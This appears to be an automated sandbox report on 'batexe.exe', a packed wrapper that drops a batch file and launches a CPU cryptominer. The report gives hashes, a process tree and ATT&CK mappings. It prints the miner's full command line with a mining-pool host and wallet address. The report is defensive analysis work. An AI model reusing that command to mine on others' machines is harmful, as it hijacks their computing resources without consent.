73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
299s
platform
windows10-1703_x64
resource
win10-20240214-ja
resource tags

arch:x64arch:x86image:win10-20240214-jalocale:ja-jpos:windows10-1703-x64systemwindows
submitted
17/02/2024, 19:33

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Executes dropped EXE 2 IoCs

pid	Process
228	b2e.exe
1928	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
1928	cpuminer-sse2.exe
1928	cpuminer-sse2.exe
1928	cpuminer-sse2.exe
1928	cpuminer-sse2.exe
1928	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/memory/2636-6-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2636 wrote to memory of 228	2636	batexe.exe	74
PID 2636 wrote to memory of 228	2636	batexe.exe	74
PID 2636 wrote to memory of 228	2636	batexe.exe	74
PID 228 wrote to memory of 4620	228	b2e.exe	75
PID 228 wrote to memory of 4620	228	b2e.exe	75
PID 228 wrote to memory of 4620	228	b2e.exe	75
PID 4620 wrote to memory of 1928	4620	cmd.exe	78
PID 4620 wrote to memory of 1928	4620	cmd.exe	78

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:2636
- C:\Users\Admin\AppData\Local\Temp\8E07.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\8E07.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\8E07.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:228
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\902A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4620
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:1928

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\8E07.tmp\b2e.exe

Filesize
9.1MB

MD5
b9be1db7e79b15b610c76902cf7fa5af

SHA1
dcaa3636de97aab17b00c3637dfc9162fcb37762

SHA256
849c077e23f851edc8d1f8650d0ea1e0c8ef682bfa012d4148e03c3e014cc9b6

SHA512
9c53a8c9d9a4ac52c3f9e65f9149b227fc13f166a94f6818798f3758626cf4780c32ec263c0c281ffaaec0fd17f2c40fe63966fc07888c5d2213641f9f19a1fd

Download Submit
C:\Users\Admin\AppData\Local\Temp\8E07.tmp\b2e.exe

Filesize
10.7MB

MD5
978005199ace7d9ff4bb7f9d02e4f8ac

SHA1
d72e827bd61f4eeb2a381d58f2ab0d358e4ea95b

SHA256
c2a48732b2400e80c38d86c6c2bf1a376bbc6395e69c0fa380d577ba71411961

SHA512
76343a92573986e859daae909b83c55d12259f27800bb8bc5af7d5460bfedc43bc60aa495fa6e039761387b29aa5eaee940de17709193df0745200558a40f172

Download Submit
C:\Users\Admin\AppData\Local\Temp\902A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.5MB

MD5
8fd1883397bd96f5da3bb61e299baad4

SHA1
0dc76be70b0730fa80d4d24ea64466f06aa2235c

SHA256
2671972ebfccf4769cb64b5e21d99e791a48585b306aacda7facafb13b9cb72f

SHA512
3d5be03d8f5b0c9c61a15acdf31a91d3a74c3b973f0c719862c8b19dfb16680dfb48807f89a64fde4de5960a5d3449822e042aae5c640f82b89b74fdad19272f

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
7.0MB

MD5
51938f208ab7ce2700ddd9f763eadd0f

SHA1
5b2067861b34615d61276b0169537dd81f50f40d

SHA256
ef536a93fbc34ba8e64aaad734d4dc75b87892a5798447eb1943c5ab0eae7fdf

SHA512
8369c3b3295abe11c76336fc7448f86876bd6def39a27de9189bb93a87468e2fd2fdf68faca774eaa1ce72ed11090024039bfbe6dec36f72c620eb3114554c47

Download Submit
\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
8.6MB

MD5
fcd2a67c3a89d366f53b37e7e12fc5d5

SHA1
423eeb58f954ea3e5c95512f44161d7286051544

SHA256
6a4a11ba7ed849c726b564bd1b460ffc9bde44a3ff2ee39ff6ebbb1b1a4b838a

SHA512
b4ae5309eb7a1274cdad47e2f6361525f224250f7cc4ccea7bcfa685322a1988d701019c895a233f3cde70c97a0b7a726eda722e18379629acc1d1cbd08dc64d

Download Submit
\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/228-4-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/228-50-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/1928-40-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-56-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-42-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/1928-43-0x00000000550B0000-0x0000000055148000-memory.dmp

Filesize
608KB

Download
memory/1928-44-0x0000000000ED0000-0x0000000002785000-memory.dmp

Filesize
24.7MB

Download
memory/1928-101-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-51-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-41-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/1928-61-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-66-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-76-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-81-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-91-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/1928-96-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2636-6-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download